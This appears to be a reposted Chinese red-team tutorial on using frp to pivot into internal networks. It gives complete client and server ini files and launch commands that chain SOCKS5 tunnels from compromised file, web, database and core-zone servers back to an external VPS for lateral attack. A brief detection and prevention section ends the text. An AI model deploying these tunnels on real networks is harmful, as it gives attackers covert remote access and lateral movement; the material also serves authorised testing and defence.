九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

admin 2024年2月10日15:20:16评论18 views字数 3713阅读12分22秒阅读模式

一、frp介绍

frp 是一个开源、简洁易用、高性能的内网穿透和反向代理软件,支持 tcp, udp, http, https等协议。

frp项目官网: https://github.com/fatedier/frp


二、frp工作原理

frp工作原理如下:

服务端运行,监听一个主端口,等待客户端的连接,客户端连接到服务端的主端口,同时告诉服务端要监听的端口和转发类型,服务端fork新的进程监听客户端指定的端口,外网用户连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端,客户端进程再将数据转发到本地服务,从而实现内网对外暴露服务的能力。

三、配置方

01
搭建一级代理

1

1、说明

A:VPS服务器:212.120.20.10

B:文件服务器:eht0:10.10.1.1、eht1:192.168.1.1


九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

测试人员向获取文件服务器的网络,想和10.10.1.1通信,需要文件服务器连接VPS,通过socks代理打通隧道,在测试人员电脑配置socks代理,实现在测试人员电脑获取文件服务器网络。

1

2、文件服务器配置frpc客户端

因为文件服务器是windows X64位的,所以需要配置frp x64的。


frpc.ini的配置:

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

[common]server_addr = 212.129.xx.xx  VPS的IP,也就是服务端的IPserver_port = 59120         服务端的端口[http_proxy]type = tcpremote_port = 59121         代理出来的端口plugin = socks5             代理的协议

*左右滑动查看更多


将这些上传到文件服务器上。

C:UsersPublicDownloadsfrp1

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

1

3、VPS服务器配置frps服务端

我们的vps是linux的,因此这里需要运行linux版本的。


frps.ini的配置:

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

[common]bind_addr = 0.0.0.0 bind_port = 59120  服务端的端口

1

4、运行frp

在VPS上启动frps

nohup ./frps -c frps.ini >> frps.log 2>&1 &

*左右滑动查看更多

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

在web服务器启动frpc:

cd C:UsersPublicDownloadsfrp1frpc.exe -c frpc.ini

*左右滑动查看更多


九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

1

5、测试网络

使用Proxifier测试socks5代理成功:

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

02
搭建二级代理

1

1、说明

A:VPS服务器:212.129.20.10

B:WEB服务器:eht0:10.10.1.1、eht1:10.10.3.100

C:数据库服务器:eth0:10.10.3.6、eth1:15.9.10.1

D:数据汇总服务器:eth0:15.9.10.2

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

测试人员电脑想要和数据汇总服务器15.9.10.2直接通信,需要搭建二级代理实现。

实现方式:

VPS服务器部署frpS服务端,WEB服务器部署frpS服务端及署frpC客户端,数据库服务器部署frpC客户端。

1

2、VPS服务器配置frps服务端

[common]bind_addr = 0.0.0.0bind_port = 59150

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

1

3、web服务配置frps服务端

[common]bind_addr = 10.10.3.100   web服务器的eth1的IP地址bind_port = 59150

*左右滑动查看更多

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

1

4、web服务配置frpc客户端

# frpc.ini[common]server_addr = 212.129.xx.xx  VPS的地址server_port = 59130[http_proxy]type = tcplocal_ip = 10.10.3.100  web服务器的eth1的IP地址local_port = 59131remote_port = 59131

*左右滑动查看更多


九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

1

5、数据库服务器配置frpc客户端

# frpc.ini[common]server_addr = 10.10.3.100  web服务器的eth1的IP地址server_port = 59130[http_proxy]type = tcpremote_port = 59131plugin = socks5

*左右滑动查看更多

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

1

6、运行frp

先启动VPS上的frps:

nohup ./frps -c frps.ini >> frps.log 2>&1 &

*左右滑动查看更多

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

在启动web服务器上的frps:

frps -c frps.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

在启动web服务器上的frpc

frpc -c frpc.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

最后启动数据库服务器上的frpc:

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

这样我们的frp就搭建成功了,只要配置好代理,我们就能访问15.9.10.2了。

03
搭建三级代理

1

1、说明

A:VPS服务器:42.194.210.26

B:WEB服务器:eth0:192.168.0.100、eth1:10.10.3.100

C:数据库服务器:eth0:10.10.3.6、eth1:10.12.10.5

D:数据汇总:eth0:10.12.10.3、eth1:20.20.20.10

E:核心区机器:eth0:20.20.20.11

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

测试人员电脑想要和数据汇总服务器20.20.20.11直接通信,需要搭建三级代理实现。


核心域主机不能直接连接vps,可以连接内网域数据汇总服务器,内网域数据汇总服务器不能直接连接vps,可以连接DMZ域数据库服务器,DMZ域数据库服务器不能直接连接vps服务器,可以连接DMZ域WEB服务器,DMZ域WEB服务器可以直接连接vps服务器,所以通过DMZ域WEB服务器作为跳板,将socks代理建设在DMZ域WEB服务器中后,将打通隧道进行横向攻击核心域机器。


1

2、ini文件配置信息

VPS服务器:

# frps.ini[common]bind_addr = 0.0.0.0bind_port = 36128

web服务器:

# frpc.ini[common]server_addr = 42.194.210.26 #VPS服务器地址server_port = 36128[http_proxy]type = tcplocal_ip = 10.10.3.100  #WEB服务器eth1的IP地址local_port = 36129remote_port = 36129# frps.ini[common]bind_addr = 10.10.3.100  #WEB服务器eth1的IP地址bind_port = 36128

*左右滑动查看更多


数据库服务器:

# frpc.ini[common]server_addr = 10.10.3.100 #WEB服务器eth1的IP地址server_port = 36128[http_proxy]type = tcplocal_ip = 10.12.10.5 #数据库服务器eth1的IP地址local_port = 36129remote_port = 36129# frps.ini[common]bind_addr = 10.12.10.5 #数据库服务器eth1的IP地址bind_port = 36128

*左右滑动查看更多


数据汇总服务器:

# frpc.ini[common]server_addr = 10.12.10.5 #数据库服务器eth1的IP地址server_port = 36128[http_proxy]type = tcpremote_port = 36129plugin = socks5

*左右滑动查看更多

1

3、 frp 运行顺序

frpc.exe、frps.exe和ini文件放到各自目录之后开始执行。

要注意执行顺序,从内而外,不能一股脑全执行。


1 、数据汇总服务器和数据库服务器建立代理

数据库服务器开启服务端监听

shell frps.exe -c frps.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

数据汇总服务器开启客户端连接:

shell frpc.exe -c frpc.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

数据库服务器回显如下,此时双方建立隧道成功

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

2、数据库服务器和WEB服务器建立代理

WEB服务器开启服务监听:

shell frps.exe -c frps.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

数据库服务器开启客户端连接:

shell frpc.exe -c frpc.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

WEB服务器回显如下,此时双方建立隧道成功。

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

3、WEB服务器和VPS建立代理

VPS服务器开启服务监听:

shell frps.exe -c frps.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

WEB服务器开启客户端连接:

shell frpc.exe -c frpc.ini

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

vps服务器回显表示建立成果:

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

1

4、测试网络

socks5:42.194.210.26:36129

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

四、检测与预防

frp服务端运行,监听一个主端口,等待客户端的连接,客户端进程将数据转发到服务端,从而实现内网对外暴露服务的能力,如果电脑被植入frp服务,存在极高安全隐患。


1、可通过流量检测系统,分析流量中frp特征,检测电脑是否运行frp。

2、本机执行ps -ef | grep frp 查看本机运行frp情况,对恶意程序及时处置。

3、如果需要frp服务,frpc指定使用访问,要求校验正确身份和服务名后再转发请求,把访问者的本地端口绑定到内网frpc服务上。不再直接把受控端映射到公网端口上,也避免因为公开被扫描爆破的风险,安全的暴露内网服务。

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

原文发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日15:20:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍http://cn-sec.com/archives/2208369.html

发表评论

匿名网友 填写信息